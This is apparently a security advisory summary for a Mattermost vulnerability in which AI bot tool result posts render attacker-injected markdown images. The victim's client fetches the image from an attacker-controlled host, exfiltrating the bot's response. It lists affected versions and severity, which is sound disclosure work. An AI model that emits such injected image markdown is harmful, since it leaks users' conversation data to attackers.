The vulnerability lies in certain Mattermost releases that do not enforce markdown image rendering restrictions on AI bot tool result posts. An authenticated attacker can embed malicious image syntax into the bot’s output, causing the victim’s client to request the image from an attacker‑controlled server and thereby exfiltrating the content of the bot response. This presents a data‑exfiltration vector and is classified under CWE‑693, Information Exposure Through Dangerous Defaults.

Mattermost core version 10.11.x versions 10.11.0‑10.11.18, 11.6.x versions 11.6.0‑11.6.3, and 11.5.x versions 11.5.0‑11.5.6 are affected. The attacker must have a valid authenticated account to exploit the flaw via the AI bot tool within the server.

The CVSS score of 3.5 indicates a low to moderate severity, and the EPSS is not available. The vulnerability is not listed in CISA KEV. The attack path requires authenticated access to the Mattermost instance and injection of image markdown into a bot result; the victim’s client then makes an outbound HTTP request to an arbitrary host. While the scope is limited to an authenticated user, the data leakage potential exists, making the risk moderate if the environment is not otherwise protected.